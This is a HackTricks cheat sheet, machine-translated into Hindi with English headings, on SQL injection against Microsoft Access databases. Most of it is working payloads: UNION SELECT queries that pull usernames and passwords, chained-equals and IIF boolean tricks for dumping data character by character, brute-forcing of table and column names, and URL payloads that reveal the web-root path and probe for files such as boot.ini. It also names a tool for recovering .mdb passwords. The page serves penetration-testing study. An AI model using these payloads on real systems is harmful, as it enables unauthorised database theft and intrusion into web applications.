MS Access SQL Injection
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Online Playground
DB Limitations
String Concatenation
स्ट्रिंग संयोजन & (%26)
और + (%2b)
अक्षरों के साथ संभव है।
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
टिप्पणियाँ
MS Access में कोई टिप्पणियाँ नहीं हैं, लेकिन स्पष्ट रूप से एक NULL कैरेक्टर के साथ एक क्वेरी के अंतिम को हटाना संभव है:
1' union select 1,2 from table%00
यदि यह काम नहीं कर रहा है, तो आप हमेशा क्वेरी की सिंटैक्स को ठीक कर सकते हैं:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
वे समर्थित नहीं हैं।
LIMIT
LIMIT
ऑपरेटर कार्यान्वित नहीं है। हालाँकि, SELECT क्वेरी परिणामों को पहले N तालिका पंक्तियों तक सीमित करना संभव है TOP
ऑपरेटर का उपयोग करके। TOP
एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाई जाने वाली पंक्तियों की संख्या का प्रतिनिधित्व करता है।
1' UNION SELECT TOP 3 attr FROM table%00
जैसे TOP, आप LAST
का उपयोग कर सकते हैं जो अंत से पंक्तियाँ प्राप्त करेगा।
UNION Queries/Sub queries
SQLi में, आप आमतौर पर किसी न किसी तरह से एक नया क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि उप-प्रश्नों या अतिरिक्त प्रश्नों में FROM
को इंगित किया जाए।
तो, यदि आप UNION SELECT
या UNION ALL SELECT
या एक शर्त में कोष्ठक के बीच SELECT
निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM
को इंगित करने की आवश्यकता होती है।
इसलिए, आपको एक मान्य तालिका नाम जानने की आवश्यकता है।
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
यह आपको वर्तमान तालिका के मानों को निकालने की अनुमति देगा बिना तालिका के नाम को जाने।
MS Access अजीब सिंटैक्स की अनुमति देता है जैसे '1'=2='3'='asd'=false
। जैसा कि आमतौर पर SQL injection एक WHERE
क्लॉज के अंदर होगा, हम इसका दुरुपयोग कर सकते हैं।
कल्पना करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाते हैं) कि एक कॉलम का नाम username है, और यही वह फ़ील्ड है जिसे आप exfiltrate करना चाहते हैं। आप चेनिंग इक्वल्स तकनीक का उपयोग करते समय वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं और संभावित रूप से Mid
फ़ंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए boolean injection के साथ सामग्री निकाल सकते हैं।
'=(Mid(username,1,3)='adm')='
यदि आप तालिका का नाम और कॉलम जानते हैं जिसे डंप करना है, तो आप Mid
, LAST
और TOP
के बीच एक संयोजन का उपयोग कर सकते हैं ताकि सभी जानकारी लीक की जा सके बूलियन SQLi के माध्यम से:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
इसका ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।
टेबल नामों का ब्रूट-फोर्सिंग
चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस तरह से टेबल नामों का ब्रूट-फोर्स भी कर सकते हैं:
'=(select+top+1+'lala'+from+<table_name>)='
आप एक अधिक पारंपरिक तरीका भी उपयोग कर सकते हैं:
-1' AND (SELECT TOP 1 <table_name>)%00
इसे ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।
- Sqlmap सामान्य तालिका नाम: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html में एक और सूची है
ब्रूट-फोर्सिंग कॉलम नाम
आप चेनिंग बराबर ट्रिक के साथ वर्तमान कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:
'=column_name='
या group by के साथ:
-1' GROUP BY column_name%00
या आप अलग तालिका के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
डेटा डंप करना
हमने पहले ही चेनिंग इक्वल्स तकनीक से वर्तमान और अन्य तालिकाओं से डेटा डंप करने पर चर्चा की है। लेकिन अन्य तरीके भी हैं:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
संक्षेप में, क्वेरी एक "if-then" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" या अन्यथा "500 Internal Error" को ट्रिगर किया जा सके। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का बाद में उपयोग केवल 10वें ट्यूपल पर विचार करने की अनुमति देता है। ऐसे मान पर, MID ऑपरेटर का उपयोग करके, एक सरल वर्ण तुलना करना संभव है। MID और TOP के इंडेक्स को सही ढंग से बदलकर, हम सभी पंक्तियों के "username" फ़ील्ड की सामग्री को डंप कर सकते हैं।
Time Based
Other Interesting functions
Mid('admin',1,1)
स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)LEN('1234')
स्ट्रिंग की लंबाई प्राप्त करेंASC('A')
वर्ण का ASCII मान प्राप्त करेंCHR(65)
ASCII मान से स्ट्रिंग प्राप्त करेंIIF(1=1,'a','b')
यदि तबCOUNT(*)
आइटम की संख्या गिनें
Enumerating tables
From here you can see a query to get tables names:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
हालांकि, ध्यान दें कि SQL इनजेक्शन पाना बहुत सामान्य है जहाँ आपके पास MSysObjects
तालिका को पढ़ने का एक्सेस नहीं है।
फ़ाइल सिस्टम एक्सेस
वेब रूट डायरेक्टरी का पूर्ण पथ
वेब रूट का पूर्ण पथ जानने से आगे के हमलों में मदद मिल सकती है। यदि एप्लिकेशन की त्रुटियाँ पूरी तरह से छिपी नहीं हैं, तो एक गैर-मौजूद डेटाबेस से डेटा चुनने की कोशिश करते समय डायरेक्टरी पथ का पता लगाया जा सकता है।
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access एक त्रुटि संदेश के साथ प्रतिक्रिया करता है जिसमें वेब डायरेक्टरी का पूर्ण पथ होता है।
फ़ाइल सूचीकरण
निम्नलिखित हमलावर वेक्टर का उपयोग दूरस्थ फ़ाइल सिस्टम पर एक फ़ाइल के अस्तित्व का अनुमान लगाने के लिए किया जा सकता है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक त्रुटि संदेश उत्पन्न करता है जो सूचित करता है कि डेटाबेस प्रारूप अमान्य है:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
फ़ाइलों को सूचीबद्ध करने का एक और तरीका एक डेटाबेस.तालिका आइटम को निर्दिष्ट करना है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है।
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb फ़ाइल नाम अनुमान लगाना
डेटाबेस फ़ाइल नाम (.mdb) को निम्नलिखित क्वेरी के साथ अनुमान लगाया जा सकता है:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
जहाँ name[i] एक .mdb फ़ाइल नाम है और realTable डेटाबेस के भीतर एक मौजूदा तालिका है। हालांकि MS Access हमेशा एक त्रुटि संदेश उत्पन्न करेगा, लेकिन अमान्य फ़ाइल नाम और मान्य .mdb फ़ाइल नाम के बीच अंतर करना संभव है।
.mdb पासवर्ड क्रैकर
Access PassView एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 का मुख्य डेटाबेस पासवर्ड पुनर्प्राप्त करने के लिए किया जा सकता है।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।